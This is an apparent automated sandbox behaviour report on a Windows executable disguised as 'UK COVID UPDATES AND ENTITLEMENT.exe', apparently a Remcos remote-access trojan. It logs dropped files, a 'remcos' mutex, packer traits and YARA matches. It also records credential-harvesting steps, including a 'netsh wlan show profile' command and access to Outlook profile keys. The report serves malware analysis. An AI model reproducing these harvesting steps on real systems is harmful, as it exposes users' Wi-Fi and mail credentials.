Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Process created: C:\Users\user\AppData\Local\Temp\dwnl.exe 'C:\Users\user\AppData\Local\Temp\dwnl.exe'
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'netsh' wlan show profile

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_0040CA41 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

File created: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Jump to behavior

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_004081B7 ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,Process32NextW,CloseHandle,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6648:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5252:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6720
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Mutant created: \Sessions\1\BaseNamedObjects\remcos_aqizussesx

Source: UK COVID UPDATES AND ENTITLEMENT.exe, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UK COVID UPDATES AND ENTITLEMENT.exe, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: UK COVID UPDATES AND ENTITLEMENT.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: UK COVID UPDATES AND ENTITLEMENT.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: cldapi.pdb_6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wininet.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000022.00000003.442720007.0000000003597000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: pnrpnsp.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: NapiNSP.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: NapiNSP.pdb^? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: WINMMBASE.pdbb?r source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbe6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000022.00000003.443176095.0000000003591000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbd?x source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: upwntdll.pdb(/ source: WerFault.exe, 00000022.00000003.442299112.0000000005532000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000022.00000003.442155176.000000000359D000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdbR?" source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: wininet.pdb&?> source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: psapi.pdbL? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: nlaapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: CLBCatQ.pdb=6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdbJ? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb;6I source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: D:\Before FprmT\Document VB project\FireFox Stub\FireFox Stub\obj\Debug\VNXT.pdb source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, dwnl.exe, dwnl.exe.28.dr
Source:	Binary string: WINMMBASE.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000022.00000003.443176095.0000000003591000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdbc6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: winmm.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbx?t source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: winrnr.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net35/Newtonsoft.Json.pdb source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdbv? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbo6 source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net35/Newtonsoft.Json.pdbSHA256/ source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421126177.0000000007930000.00000004.00020000.sdmp
Source:	Binary string: D:\Before FprmT\Document VB project\FireFox Stub\FireFox Stub\obj\Debug\VNXT.pdbh} source: UK COVID UPDATES AND ENTITLEMENT.exe, 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, dwnl.exe, 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, dwnl.exe.28.dr
Source:	Binary string: iertutil.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: psapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdbn?f source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: cldapi.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000022.00000003.442155176.000000000359D000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000022.00000003.450399223.0000000005A30000.00000004.00000040.sdmp
Source:	Binary string: winmm.pdb(?$ source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000022.00000003.442720007.0000000003597000.00000004.00000001.sdmp
Source:	Binary string: urlmon.pdb@? source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000022.00000003.450304339.0000000005A61000.00000004.00000001.sdmp
Source:	Binary string: gdiplus.pdbT?( source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdbk source: WerFault.exe, 00000022.00000003.450408838.0000000005A35000.00000004.00000040.sdmp
Source:	Binary string: edputil.pdb source: WerFault.exe, 00000022.00000003.450423422.0000000005A38000.00000004.00000040.sdmp

Data Obfuscation:

Yara detected Beds Obfuscator

Show sources

Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2fcf496.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2faeb92.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dwnl.exe PID: 2896, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\dwnl.exe, type: DROPPED

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: UK COVID UPDATES AND ENTITLEMENT.exe, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: UK COVID UPDATES AND ENTITLEMENT.exe.0.dr, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 0.0.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.a30000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 22.2.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 22.0.UK COVID UPDATES AND ENTITLEMENT.exe.180000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
Source: 23.0.UK COVID UPDATES AND ENTITLEMENT.exe.220000.0.unpack, E8U7huGw3qTkaDeWHh/VtwMsbCZqk4bTIIun3.cs	.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_00A381A4 push eax; iretd
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_014747E9 push es; ret
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_0147479C push esi; ret
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_07C13D01 push esi; ret
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_0813896E push cs; retf
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_08135998 push eax; iretd
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 22_2_001881A4 push eax; iretd
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 23_2_002281A4 push eax; iretd
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 24_2_000A81A4 push eax; iretd
